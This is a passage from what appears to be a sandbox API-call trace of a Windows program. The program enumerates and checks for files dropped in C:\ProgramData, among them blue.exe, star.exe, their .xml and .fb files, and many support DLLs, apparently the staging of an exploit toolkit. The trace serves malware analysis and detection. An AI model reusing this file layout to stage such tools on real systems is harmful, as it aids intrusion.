dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x7632b0 [0118.561] FindNextFileW (in: hFindFile=0x7632b0, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0118.561] GetLastError () returned 0x12 [0118.561] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.561] FindFirstFileW (in: lpFileName="c:\\PROGRA~3\\xdvl-0.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13bfff90, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13bfff90, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13bfff90, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="xdvl-0.dll", cAlternateFileName="")) returned 0x7632b0 [0118.561] FileTimeToLocalFileTime (in: lpFileTime=0x28ef4c, lpLocalFileTime=0x28eeb4 | out: lpLocalFileTime=0x28eeb4) returned 1 [0118.561] FileTimeToDosDateTime (in: lpFileTime=0x28eeb4, lpFatDate=0x28ef1a, lpFatTime=0x28ef18 | out: lpFatDate=0x28ef1a, lpFatTime=0x28ef18) returned 1 [0118.561] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.561] CharLowerBuffW (in: lpsz="c:\\PROGRA~3\\xdvl-0.dll", cchLength=0x16 | out: lpsz="c:\\progra~3\\xdvl-0.dll") returned 0x16 [0118.561] CharLowerBuffW (in: lpsz="EVB62C75.TMP", cchLength=0xc | out: lpsz="evb62c75.tmp") returned 0xc [0118.561] FindFirstFileW (in: lpFileName="c:\\programdata\\evb62c75.tmp", lpFindFileData=0x28ef48 | out: lpFindFileData=0x28ef48*(dwFileAttributes=0x1d59de1, ftCreationTime.dwLowDateTime=0x13bfff90, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x5600, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x640078, nFileSizeLow=0x6c0076, dwReserved0=0x30002d, dwReserved1=0x64002e, cFileName="ll", cAlternateFileName="A聄uA((")) returned 0xffffffff [0118.561] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0118.561] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\programdata\\xdvl-0.dll\\", cchLength=0x2f | out: lpsz="\\device\\harddiskvolume1\\programdata\\xdvl-0.dll\\") returned 0x2f [0118.561] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\progra~3\\xdvl-0.dll\\", cchLength=0x2c | out: lpsz="\\device\\harddiskvolume1\\progra~3\\xdvl-0.dll\\") returned 0x2c [0118.561] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.561] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.562] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.562] CharLowerBuffW (in: lpsz="zlib1.dll", cchLength=0x9 | out: lpsz="zlib1.dll") returned 0x9 [0118.562] CharLowerBuffW (in: lpsz="c:\\programdata\\zlib1.dll", cchLength=0x18 | out: lpsz="c:\\programdata\\zlib1.dll") returned 0x18 [0118.562] CharLowerBuffW (in: lpsz="c:\\programdata\\zlib1.dll", cchLength=0x18 | out: lpsz="c:\\programdata\\zlib1.dll") returned 0x18 [0118.562] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x7632b0 [0118.562] FindNextFileW (in: hFindFile=0x7632b0, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0118.562] GetLastError () returned 0x12 [0118.562] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.562] FindFirstFileW (in: lpFileName="c:\\ProgramData\\zlib1.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13c026a0, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13c026a0, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13c026a0, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x8e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="zlib1.dll", cAlternateFileName="")) returned 0x7632b0 [0118.562] FileTimeToLocalFileTime (in: lpFileTime=0x28ef4c, lpLocalFileTime=0x28eeb8 | out: lpLocalFileTime=0x28eeb8) returned 1 [0118.562] FileTimeToDosDateTime (in: lpFileTime=0x28eeb8, lpFatDate=0x28ef1a, lpFatTime=0x28ef18 | out: lpFatDate=0x28ef1a, lpFatTime=0x28ef18) returned 1 [0118.562] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.562] CharLowerBuffW (in: lpsz="c:\\ProgramData\\zlib1.dll", cchLength=0x18 | out: lpsz="c:\\programdata\\zlib1.dll") returned 0x18 [0118.562] CharLowerBuffW (in: lpsz="c:\\programdata\\zlib1.dll", cchLength=0x18 | out: lpsz="c:\\programdata\\zlib1.dll") returned 0x18 [0118.562] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x7632b0 [0118.562] FindNextFileW (in: hFindFile=0x7632b0, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0118.562] GetLastError () returned 0x12 [0118.562] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.562] FindFirstFileW (in: lpFileName="c:\\PROGRA~3\\zlib1.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13c026a0, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13c026a0, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13c026a0, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x8e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="zlib1.dll", cAlternateFileName="")) returned 0x7632b0 [0118.564] FileTimeToLocalFileTime (in: lpFileTime=0x28ef4c, lpLocalFileTime=0x28eeb4 | out: lpLocalFileTime=0x28eeb4) returned 1 [0118.564] FileTimeToDosDateTime (in: lpFileTime=0x28eeb4, lpFatDate=0x28ef1a, lpFatTime=0x28ef18 | out: lpFatDate=0x28ef1a, lpFatTime=0x28ef18) returned 1 [0118.564] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.565] CharLowerBuffW (in: lpsz="c:\\PROGRA~3\\zlib1.dll", cchLength=0x15 | out: lpsz="c:\\progra~3\\zlib1.dll") returned 0x15 [0118.565] CharLowerBuffW (in: lpsz="EVBCBDBE.TMP", cchLength=0xc | out: lpsz="evbcbdbe.tmp") returned 0xc [0118.565] FindFirstFileW (in: lpFileName="c:\\programdata\\evbcbdbe.tmp", lpFindFileData=0x28ef48 | out: lpFindFileData=0x28ef48*(dwFileAttributes=0x1d59de1, ftCreationTime.dwLowDateTime=0x13c026a0, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x8e00, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x6c007a, nFileSizeLow=0x620069, dwReserved0=0x2e0031, dwReserved1=0x6c0064, cFileName="l", cAlternateFileName="A脼vA((")) returned 0xffffffff [0118.565] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0118.565] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\programdata\\zlib1.dll\\", cchLength=0x2e | out: lpsz="\\device\\harddiskvolume1\\programdata\\zlib1.dll\\") returned 0x2e [0118.566] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\progra~3\\zlib1.dll\\", cchLength=0x2b | out: lpsz="\\device\\harddiskvolume1\\progra~3\\zlib1.dll\\") returned 0x2b [0118.567] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.567] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.567] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.568] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0118.568] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0118.569] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0118.569] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\", cchLength=0x18 | out: lpsz="\\device\\harddiskvolume1\\") returned 0x18 [0118.569] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="device", cchWideChar=6, lpMultiByteStr=0x28e450, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device", lpUsedDefaultChar=0x0) returned 6 [0118.570] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="harddiskvolume1", cchWideChar=15, lpMultiByteStr=0x28e450, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="harddiskvolume1", lpUsedDefaultChar=0x0) returned 15 [0118.570] SysReAllocStringLen (in: pbstr=0x28f560*="\\device\\harddiskvolume1\\", psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f560*="\\device\\harddiskvolume1") returned 1 [0118.571] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\", cchLength=0x18 | out: lpsz="\\device\\harddiskvolume1\\") returned 0x18 [0118.571] SysReAllocStringLen (in: pbstr=0x470734*=0x0, psz="\\device\\harddiskvolume1\\", len=0x18 | out: pbstr=0x470734*="\\device\\harddiskvolume1\\") returned 1 [0118.571] SysReAllocStringLen (in: pbstr=0x470758*=0x0, psz="device", len=0x6 | out: pbstr=0x470758*="device") returned 1 [0118.571] SysReAllocStringLen (in: pbstr=0x470778*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x470778*="harddiskvolume1") returned 1 [0118.572] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="device", cchWideChar=6, lpMultiByteStr=0x28e450, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="deviceskvolume1", lpUsedDefaultChar=0x0) returned 6 [0118.572] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="harddiskvolume1", cchWideChar=15, lpMultiByteStr=0x28e450, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="harddiskvolume1", lpUsedDefaultChar=0x0) returned 15 [0118.572] GetCurrentThreadId () returned 0x1110 [0118.572] GetCurrentThreadId () returned 0x1110 [0118.572] GetCurrentThreadId () returned 0x1110 [0118.572] GetCurrentThreadId () returned 0x1110 [0118.572] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0118.572] FindFirstFileW (in: lpFileName="c:\\programdata\\blue.exe", lpFindFileData=0x28f110 | out: lpFindFileData=0x28f110*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13be2ad0, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13be2ad0, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13be2ad0, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x75b518, dwReserved1=0x758200, cFileName="blue.exe", cAlternateFileName="")) returned 0x7632b0 [0118.572] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.572] FindFirstFileW (in: lpFileName="c:\\programdata\\blue.fb", lpFindFileData=0x28f110 | out: lpFindFileData=0x28f110*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13be51e0, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13be51e0, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13be51e0, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x1f7, dwReserved0=0x75b518, dwReserved1=0x758200, cFileName="blue.fb", cAlternateFileName="")) returned 0x7632b0 [0118.573] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.573] FindFirstFileW (in: lpFileName="c:\\programdata\\blue.xml", lpFindFileData=0x28f110 | out: lpFindFileData=0x28f110*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13be51e0, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13be51e0, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13be78f0, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x1e66, dwReserved0=0x75b518, dwReserved1=0x758200, cFileName="blue.xml", cAlternateFileName="")) returned 0x7632b0 [0118.573] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.573] FindFirstFileW (in: lpFileName="c:\\programdata\\cnli-1.dll", lpFindFileData=0x28f110 | out: lpFindFileData=0x28f110*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13be78f0, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13be78f0, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13be78f0, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0xe200, dwReserved0=0x75b518, dwReserved1=0x758200, cFileName="cnli-1.dll", cAlternateFileName="")) returned 0x7632b0 [0118.573] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.573] FindFirstFileW (in: lpFileName="c:\\programdata\\coli-0.dll", lpFindFileData=0x28f110 | out: lpFindFileData=0x28f110*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13be78f0, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13be78f0, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13bea000, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x75b518, dwReserved1=0x758200, cFileName="coli-0.dll", cAlternateFileName="")) returned 0x7632b0 [0118.573] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.573] FindFirstFileW (in: lpFileName="c:\\programdata\\crli-0.dll", lpFindFileData=0x28f110 | out: lpFindFileData=0x28f110*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13bea000, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13bea000, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13bea000, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x75b518, dwReserved1=0x758200, cFileName="crli-0.dll", cAlternateFileName="")) returned 0x7632b0 [0118.573] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.573] FindFirstFileW (in: lpFileName="c:\\programdata\\dmgd-4.dll", lpFindFileData=0x28f110 | out: lpFindFileData=0x28f110*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13bea000, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13bea000, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13bec710, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x75b518, dwReserved1=0x758200, cFileName="dmgd-4.dll", cAlternateFileName="")) returned 0x7632b0 [0118.573] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.573] FindFirstFileW (in: lpFileName="c:\\programdata\\down64.dll", lpFindFileData=0x28f110 | out: lpFindFileData=0x28f110*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13c026a0, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13c026a0, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x3b086700, ftLastWriteTime.dwHighDateTime=0x1d5c699, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x75b518, dwReserved1=0x758200, cFileName="down64.dll", cAlternateFileName="")) returned 0x7632b0 [0118.573] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.574] FindFirstFileW (in: lpFileName="c:\\programdata\\exma-1.dll", lpFindFileData=0x28f110 | out: lpFindFileData=0x28f110*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13bec710, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13bec710, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13bec710, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x75b518, dwReserved1=0x758200, cFileName="exma-1.dll", cAlternateFileName="")) returned 0x7632b0 [0118.574] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.574] FindFirstFileW (in: lpFileName="c:\\programdata\\libeay32.dll", lpFindFileData=0x28f110 | out: lpFindFileData=0x28f110*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13bec710, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13bec710, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13beee20, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x63000, dwReserved0=0x75b518, dwReserved1=0x758200, cFileName="libeay32.dll", cAlternateFileName="")) returned 0x7632b0 [0118.574] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.574] FindFirstFileW (in: lpFileName="c:\\programdata\\libxml2.dll", lpFindFileData=0x28f110 | out: lpFindFileData=0x28f110*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13beee20, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13beee20, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13bf1530, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x79800, dwReserved0=0x75b518, dwReserved1=0x758200, cFileName="libxml2.dll", cAlternateFileName="")) returned 0x7632b0 [0118.574] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.574] FindFirstFileW (in: lpFileName="c:\\programdata\\posh-0.dll", lpFindFileData=0x28f110 | out: lpFindFileData=0x28f110*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13bf3c40, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13bf3c40, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13bf3c40, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x75b518, dwReserved1=0x758200, cFileName="posh-0.dll", cAlternateFileName="")) returned 0x7632b0 [0118.574] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.574] FindFirstFileW (in: lpFileName="c:\\programdata\\ssleay32.dll", lpFindFileData=0x28f110 | out: lpFindFileData=0x28f110*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13bf3c40, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13bf3c40, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13bf3c40, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x14400, dwReserved0=0x75b518, dwReserved1=0x758200, cFileName="ssleay32.dll", cAlternateFileName="")) returned 0x7632b0 [0118.574] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.574] FindFirstFileW (in: lpFileName="c:\\programdata\\star.exe", lpFindFileData=0x28f110 | out: lpFindFileData=0x28f110*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13bf6350, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13bf6350, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13bf6350, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x6400, dwReserved0=0x75b518, dwReserved1=0x758200, cFileName="star.exe", cAlternateFileName="")) returned 0x7632b0 [0118.574] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.574] FindFirstFileW (in: lpFileName="c:\\programdata\\star.fb", lpFindFileData=0x28f110 | out: lpFindFileData=0x28f110*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13bf6350, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13bf6350, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13bf8a60, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0xf2, dwReserved0=0x75b518, dwReserved1=0x758200, cFileName="star.fb", cAlternateFileName="")) returned 0x7632b0 [0118.574] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.575] FindFirstFileW (in: lpFileName="c:\\programdata\\star.xml", lpFindFileData=0x28f110 | out: lpFindFileData=0x28f110*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13bf8a60, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13bf8a60, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13bf8a60, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x14e5, dwReserved0=0x75b518, dwReserved1=0x758200, cFileName="star.xml", cAlternateFileName="")) returned 0x7632b0 [0118.575] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.575] FindFirstFileW (in: lpFileName="c:\\programdata\\tibe-2.dll", lpFindFileData=0x28f110 | out: lpFindFileData=0x28f110*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13bf8a60, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13bf8a60, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13bfb170, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x20c00, dwReserved0=0x75b518, dwReserved1=0x758200, cFileName="tibe-2.dll", cAlternateFileName="")) returned 0x7632b0 [0118.575] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.575] FindFirstFileW (in: lpFileName="c:\\programdata\\trch-1.dll", lpFindFileData=0x28f110 | out: lpFindFileData=0x28f110*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13bfb170, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13bfb170, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13bfb170, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x7a00, dwReserved0=0x75b518, dwReserved1=0x758200, cFileName="trch-1.dll", cAlternateFileName="")) returned 0x7632b0 [0118.575] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.575] FindFirstFileW (in: lpFileName="c:\\programdata\\trfo-2.dll", lpFindFileData=0x28f110 | out: lpFindFileData=0x28f110*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13bfb170, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13bfb170, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13bfd880, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x75b518, dwReserved1=0x758200, cFileName="trfo-2.dll", cAlternateFileName="")) returned 0x7632b0 [0118.575] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.575] FindFirstFileW (in: lpFileName="c:\\programdata\\tucl-1.dll", lpFindFileData=0x28f110 | out: lpFindFileData=0x28f110*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13bfd880, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13bfd880, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13bfd880, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x75b518, dwReserved1=0x758200, cFileName="tucl-1.dll", cAlternateFileName="")) returned 0x7632b0 [0118.576] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.576] FindFirstFileW (in: lpFileName="c:\\programdata\\ucl.dll", lpFindFileData=0x28f110 | out: lpFindFileData=0x28f110*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13bfff90, 